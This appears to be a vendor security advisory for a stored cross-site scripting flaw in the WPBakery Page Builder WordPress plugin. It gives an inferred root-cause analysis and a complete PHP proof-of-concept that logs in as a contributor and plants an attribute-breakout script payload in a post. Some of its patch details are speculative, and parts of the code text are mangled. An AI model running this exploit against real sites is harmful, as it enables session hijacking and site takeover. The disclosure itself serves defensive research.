Published : November 22, 2026

CVE-2026-122223: WPBakery Page Builder <= 9.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'values' Shortcode Attribute PoC, Patch Analysis & Rule

Plugin js_composer
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 9.1
Patched Version —
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-122223 (metadata-based): CVE-2026-122223 is an authenticated (Contributor+) stored cross-site scripting vulnerability in WPBakery Page Builder (slug js_composer) versions up to and including 9.1. The flaw exists in the handling of the shortcode attribute ‘values[text_shadow_color]’ and allows a low-privileged user to inject arbitrary JavaScript that executes when any user views the compromised page. The CVSS score is 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N), reflecting a network-based attack requiring low privileges, no user interaction, and a scope change.

Root Cause: The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). According to the description, the plugin applies wp_kses_post to the shortcode attribute at save time, but the value is stored as URL-encoded JSON. Because the payload contains no literal HTML tags, kses cannot tokenize it, so the malicious content survives intact. At render time, the plugin decodes the JSON and outputs the ‘text_shadow_color’ value without proper escaping. Atomic Edge analysis infers that the render logic fails to apply esc_attr or wp_kses to the decoded value before injecting it into a style or attribute context. Confirmations from the metadata: the vulnerable parameter is explicitly ‘values[text_shadow_color]’, the sanitization bypass technique is described, and the affected component is a shortcode attribute. The exact code path that decodes and outputs the value is inferred from the CWE and vulnerability description.

Exploitation: An attacker with Contributor-level access can create or edit a post and embed a WPBakery shortcode containing a crafted ‘values’ attribute. The ‘text_shadow_color’ value is set to a string that breaks out of its intended context and injects JavaScript. Because the value is URL-encoded JSON, it bypasses wp_kses_post. When a victim (including an administrator) views the page, the shortcode renders and the payload executes. The attack vector is the WordPress post editor or any interface that allows saving shortcode content, such as the classic editor, Gutenberg, or a page builder AJAX action. Atomic Edge research assumes the shortcode is processed on the front end and possibly in the admin preview. No specific AJAX action or REST route is named in the metadata, so the PoC uses the standard post update mechanism (wp-admin/post.php) rather than a custom endpoint.

Remediation: The fix in version 9.2 likely adds proper output escaping (esc_attr or wp_kses) when rendering the ‘text_shadow_color’ value after decoding the JSON. It may also strengthen input validation to reject malformed color values at save time, beyond the inadequate wp_kses_post check. Atomic Edge analysis infers these changes from the CWE and the described bypass, but the exact patch is unconfirmed without a code diff.

Impact: Successful exploitation allows stored XSS that executes in the browser of any user viewing the affected page, including administrators. This can lead to session hijacking, privilege escalation (by creating new admin accounts), data theft, and full site compromise. The scope change (S:C) indicates the vulnerable component (the plugin) affects other components (the WordPress site and user sessions). The CVSS metrics reflect limited confidentiality and integrity impact, but in practice the attacker can achieve complete control of the WordPress installation.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-122223 - WPBakery Page Builder <= 9.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'values' Shortcode Attribute
// This script assumes a WordPress installation with WPBakery Page Builder <= 9.1.
// It requires valid credentials for a user with at least Contributor role.
// The attack crafts a shortcode with a malicious 'values[text_shadow_color]' payload
// and submits it via the standard post editor form (wp-admin/post.php).
// No code diff is available; the payload structure is inferred from the CVE description.

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username   = 'contributor';        // Contributor+ username
$password   = 'password';           // Contributor+ password

// Payload: URL-encoded JSON that breaks out of the color attribute and injects script.
// The exact attribute name is 'values[text_shadow_color]' as per CVE description.
// The payload is designed to be stored as a shortcode attribute and executed on render.
$payload = 'red" onmouseover="alert(document.domain)" style="';
$encoded_payload = urlencode(json_encode(['text_shadow_color' => $payload]));

// Shortcode content: [vc_row][vc_column][vc_custom_heading text="Test" values="' . $encoded_payload . '"][/vc_column][/vc_row]
$post_content = '[vc_row][vc_column][vc_custom_heading text="Test" values="' . $encoded_payload . '"][/vc_column][/vc_row]';

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookies');

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code != 200 || strpos($response, 'wp-admin') === false) {
    die("Login failed. Check credentials and URL.n");
}

// Step 2: Create a new post with the malicious shortcode.
// We assume the default post type 'post' and use the classic editor form.
$post_url = $target_url . '/wp-admin/post.php';
$post_data = [
    'action' => 'editpost',
    'post_type' => 'post',
    'post_title' => 'CVE-2026-122223 PoC',
    'content' => $post_content,
    'post_status' => 'publish', // Contributor may need to submit for review; adjust if necessary
    'publish' => 'Publish',
    '_wpnonce' => '', // Nonce required; we need to fetch it from the new post page
];

// First, fetch the new post page to get the nonce.
$new_post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from the page (WordPress uses _wpnonce for post submission).
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
    $post_data['_wpnonce'] = $matches[1];
} else {
    // Fallback: try to find nonce in a different pattern.
    if (preg_match('/id="_wpnonce" value="([^"]+)"/', $response, $matches)) {
        $post_data['_wpnonce'] = $matches[1];
    } else {
        die("Could not extract nonce.n");
    }
}

// Submit the post.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 || $http_code == 302) {
    echo "Post created with malicious shortcode. Visit the post to trigger XSS.n";
} else {
    echo "Failed to create post. HTTP code: $http_coden";
}

// Clean up cookie file.
unlink($cookie_file);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.